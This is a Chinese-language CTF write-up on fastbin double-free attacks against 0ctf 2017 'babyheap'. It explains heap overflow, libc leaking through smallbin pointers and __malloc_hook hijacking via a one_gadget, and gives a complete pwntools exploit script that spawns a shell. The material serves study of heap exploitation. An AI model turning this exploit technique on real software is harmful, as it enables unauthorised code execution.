fastbinattack—0ctf2017babyheap题解和学习

前言

这篇文章主要是在学习fastbinattack中遇到的一些知识点的总结和在做babyheap的时候的遇到的问题。

fastbin 二次释放

由于fastbin采用单链表结构,当chunk释放的时候并不会清空next_chunk的prev_inuse(这与fastbin的机制有关,为了多次利用,为了效率嘛),只要存在堆溢出和其他漏洞能够控制chunk的内容,即可更改fastbin的chunk的fd指针,使我们下次申请的空间是我们需要的任意地址,但是得绕过一些检查。

绕过fastbin检查机制

fastbin dup

fastbin对于二次释放的检查机制仅仅验证了当前块是否与链表头部的块相同,而对链表中其他的块没有做验证。此外还会检查当前块的size域与头部块的size域是否相等的检查。

于是我们可以先释放当前块,然后释放另一个相同大小的块,然后再释放当前块,就可以在fastbin的链表上形成一个循环链表,只要申请当前块大小的空间,都会是fastbin中的两个块。

fastbin dup consolidate

这种绕过方法需要知道的是,当我们申请large chunk时,如果fastbin 不为空,则调用mallo_consolidate()函数合并里面的chunk,并放入unsorted bin;接下来,unsorted bin中的chunk有被各自取回放到各自对应的bins中。此时fastbins被清空,再次释放就不会触发二次释放。

0ctfbabyheap解题流程

  • 这个文件的保护是全开的,堆题的常见特征。

  • 逆向分析一下,也就是菜单题那种,申请空间,写入空间,释放空间,输出空间的内容,退出。

  • 寻找漏洞,这里就不细讲了,就是文件中存在两个size,一个是申请空间时候的size,一个就是写入空间的size,但是这个size是我们可以控制的,于是我们就能写入超出空间大小的内容。

Tips:

虽然漏洞好找,但是还是能学到很多东西的。

  • 在申请空间的时候创建了一个类似于table的东西用来存放结构体,结构体包括in_use,size,buf_ptr(申请空间的地址),这里用的是vmmap申请的空间,为什么这里要用vmmap申请空间呢,因为我们后面在构造堆块重叠的时候,我们并不知道堆的地址,但是我们可以利用部分写来覆盖低位来构造,但是低位为多少呢?我们也不知道,于是就涉及到了一个知识点:由于heap的初始化使用了brk系统调用,同时页(4kb)是内存分配得最小单位,也就是页对齐,所以heap起始地址的低三位一定是0x000
  • 于是出题人用vmmap来申请空间,就保证了chunk一定是从heap的起始地址开始申请的,可以说是为了让解题人方便点,但是就算不用vmmap来申请,因为这段chunk是不会被释放掉的,我们还是能够推断出来低位为多少。
  • 还有后面在申请空间的时候用的不是malloc函数,是用的calloc函数,意味着申请所得到的内存空间会被初始化为0。

漏洞利用

虽然存在堆溢出漏洞,但是开启了全部保护,还是有很多种骚操作不能使用的,比如开启了Full RELRO,于是我们就不能利用修改GOT表劫持程序的控制流,因为在程序最开始就加载了所有GOT表,并且不允许修改GOT表,所以我们考虑使用修改malloc hook函数的方式,触发one-gaget得到shell。其实还可以修改__realloc_hook, 还有__free_hook的方式,或者修改IO_FILE结构体的方式。

劫持malloc hook函数的原理

在glibc中,通过指定对应的hook函数,就可以修改malloc(),realloc()和free()等函数的行为,从而帮助我们调试使用了动态内存分配的程序,例如当调用malloc函数的时候,会先检查对应的hook函数是否为空,如果不是就会跳到hook函数处执行。

在pwn题目中,我们也常常利用这一特性,修改hook函数的值,使程序在调用malloc系列函数之前,执行hook所指向的代码片段,从而改变控制流。

Tips:

这时候我就在想,这个hook函数,到底有什么用呢,除了让我们劫持以外,网上找了找资料,发现这个函数是用来帮我们调试使用了动态内存分配的程序,用来debug的。

内存分配hook

__malloc_hook,__realloc_hook__free_hook都是函数指针变量,在源文件malloc.c中被声明,其中__free_hook的初始值为0,另外两个则分别有各种的初始化函数malloc_hook_ini和realloc_hook_ini。

题解

这里我先用劫持malloc_hook函数的方法来实现,后面再来一一介绍后面的其他方法。

  • 首先我们需要先泄露libc的地址才能知道one_gaget的地址,fastbin是由fastbinY数组指向chunk,最后一个chunk指向NULL,但是smallbin中的chunk是双向链表会指向bins,于是我们可以利用smallbin来泄露bins的地址,因为bins是存储在main_arena中的,main_arena是在libc中已经初始化的malloc_state结构体,是保存在libc的数据段的,可以通过分析libc的文件来找到main_arena相对于加载地址的偏移,还可以通过对应的libc版本的源文件知道main_arena的结构,找到smallbin链接的地址相对于main_arena的偏移(在libc没有调试信息的时候,如果有调试信息的话直接调试就行了)
  • 然后看看虚拟内存映射的布局,一般在关闭ASLR的情况下,bss段的末尾地址等于heap的起始地址,而在开启ASLR的情况下,两个地址其实是由一段随机偏移的,但是由于heap的初始化使用了brk系统调用来从内核申请空间,同时页是内存分配的最小单位,所以低地址的三位总是0x000。

流程

首先,将fastbin dup的脚本给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def fastbin_dup():
Allocate(0x18) #0
Allocate(0x18) #1 用于辅助chunk2指向chunk4
Allocate(0x18) #2 用于指向chunk4
Allocate(0x18) #3 用于溢出chunk 4 ,绕过size检查
Allocate(0x80) #4 small chunk
free(1) #free 1
free(2) #free 2


payload = "a"*0x10+p64(0)+p64(0x21)+p64(0)+"a"*0x8+p64(0)+p64(0x21)+p8(0x80)
Fill(0,payload) #chunk2->fd => chunk4


payload = "a"*0x10 +p64(0)+p64(0x21)
Fill(3,payload) #chunk4->size == 0x21


Allocate(0x10) #new 1
Allocate(0x10) #new 2 overlap chunk 4


payload = "a"*0x10 +p64(0)+p64(0x91) # chunk4->size == 0x91
Fill(3,payload)

这里首先申请了4个大小为0x18的chunk(其实申请的是0x20,因为对齐的原因),然后申请0x80的small chunk(其实申请的是0x90),small chunk是用来后面泄露libc的。然后free掉1和2,这样在fastbin中,chunk 1指向 0 ,chunk 2 指向 chunk 1,fastbinY数组指向chunk2。

chunk 0 和chunk3 都是还在的,就是用来溢出chunk 2,使其指向small chunk4的,释放chunk 1是用来使chunk2 指向chunk1 ,然后我们可以用部分写来覆盖掉末尾的一个字节,使chunk2 指向small chunk 4 ,chunk 3是后面用来修改small chunk 4的。使其size符合fastbin 的大小绕过检查。

然后连续申请两个空间,就可以使第二个申请的空间指向chunk 4。然后再修改chunk4的size为原来的大小。

然后泄露libc:

1
2
3
4
5
6
7
8
9
10
def leak_libc():
global libc_base,malloc_hook
Allocate(0x80) #5
free(4) #free 4
leak_libc = dump(2)
libc_base = leak_libc - 0x3AAB60-0x58
malloc_hook = libc_base+libc.symbols['__malloc_hook']
log.info(format("leak_addr ------->0x%x"%leak_libc))
log.info(format("libc_base ------->0x%x"%libc_base))
log.info(format("malloc_hook------>0x%x"%malloc_hook))

我们先申请一个small大小的chunk,防止chuk4释放后直接和top chunk合并了。然后再释放chunk 4,这样small chunk的fd和bk都会指向main_arena ,main_arena是在libc的,可以通过计算偏移来获得libc的基地址。我们可以直接打印chunk2空间的内容就可以得到main_arena一定偏移的地址,看看对应libc版本的malloc_sate结构体是什么,来知道偏移为多少,然后去libc找main_arena的偏移。

有个小知识就是,libc的地址只有6字节,高位两个字节永远为0。

接下来劫持malloc_hook函数:

1
2
3
4
5
6
7
8
9
10
11
def pwn():
Allocate(0x60) #new chunk 4
free(4)
Fill(2,p64(malloc_hook-0x40+0xd)) #chunk2 == chunk4 overlaped
Allocate(0x60) #chunk 4
Allocate(0x60) #chunk 6 (fake chunk)
onegaget = (libc_base + 0x40453)
Fill(6,p8(0)*3+p64(0)*4+p64(onegaget))
log.info("onegaget------->0x%x"%onegaget)
Allocate(10)
p.interactive()

劫持malloc_hook,有个小技巧,因为要是直接将malloc_hook上面的地址给放到释放掉的chunk4 fd位置,然后申请是不能成功的,因为有size判断,我们需要绕过size判断,这里有个小技巧就是错位偏移,就是在malloc_hook上面偏移一定的距离,不一定是0x8大小的,还可以是其他大小的偏移,使得有size满足fast chunk 大小。

然后获取onegaget加上获取的libc_base,然后跟据一定的偏移填入__malloc_hook的地址,然后调用malloc函数,malloc_hook函数就会在调用malloc之前调用,就相当于调用了one_gaget。

本题还有更多的调用one_gaget的方法,比如劫持__realloc_hook,__free_hook,或者修改IO_FILE结构体。

下面是总的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding: utf-8 -*-
from pwn import *
import sys
import os
import os.path
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
if len(sys.argv) == 3:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
elif len(sys.argv) == 1:
print "Welcome to Min Li's simplified pwntools template!!!"
print "Usage : \n"
print " 1. python mode.py HOST PORT\n "
print " 2. python mode.py PATH\n"
exit()
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
elf = ELF("./0ctfbabyheap")
libc= ELF("./libc-2.19.so")
def debug():#debug
gdb.attach(proc.pidof(p)[0],gdbscript="b read")
pause()
def chioce(i):
p.sendlineafter("Command: ",str(i))
def Allocate(size):
chioce(1)
p.sendlineafter("Size: ",str(size))
def Fill(index,payload):
chioce(2)
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(len(payload)))
p.sendlineafter("Content: ",payload)
def free(index):
chioce(3)
p.sendlineafter("Index: ",str(index))
def dump(index):
chioce(4)
p.sendlineafter("Index: ",str(index))
p.recvuntil("Content: \n")
return u64(p.recv(6).ljust(8, b'\x00'))

def fastbin_dup():
Allocate(0x18) #0
Allocate(0x18) #1
Allocate(0x18) #2
Allocate(0x18) #3
Allocate(0x80) #4 small chunk
free(1) #free 1
free(2) #free 2


payload = "a"*0x10+p64(0)+p64(0x21)+p64(0)+"a"*0x8+p64(0)+p64(0x21)+p8(0x80)
Fill(0,payload) #chunk2->fd => chunk4


payload = "a"*0x10 +p64(0)+p64(0x21)
Fill(3,payload) #chunk4->size == 0x21


Allocate(0x10) #new 1
Allocate(0x10) #new 2 overlap chunk 4


payload = "a"*0x10 +p64(0)+p64(0x91) # chunk4->size == 0x91
Fill(3,payload)

def leak_libc():
global libc_base,malloc_hook
Allocate(0x80) #5
free(4) #free 4
leak_libc = dump(2)
libc_base = leak_libc - 0x3AAB60-0x58
malloc_hook = libc_base+libc.symbols['__malloc_hook']
log.info(format("leak_addr ------->0x%x"%leak_libc))
log.info(format("libc_base ------->0x%x"%libc_base))
log.info(format("malloc_hook------>0x%x"%malloc_hook))
def pwn():
Allocate(0x60) #new chunk 4
free(4)
Fill(2,p64(malloc_hook-0x40+0xd)) #chunk2 == chunk4 overlaped
Allocate(0x60) #chunk 4
Allocate(0x60) #chunk 6 (fake chunk)
onegaget = (libc_base + 0x40453)
Fill(6,p8(0)*3+p64(0)*4+p64(onegaget))
log.info("onegaget------->0x%x"%onegaget)
Allocate(10)
p.interactive()
def main():
fastbin_dup()
leak_libc()
pwn()

if __name__ == '__main__':
main()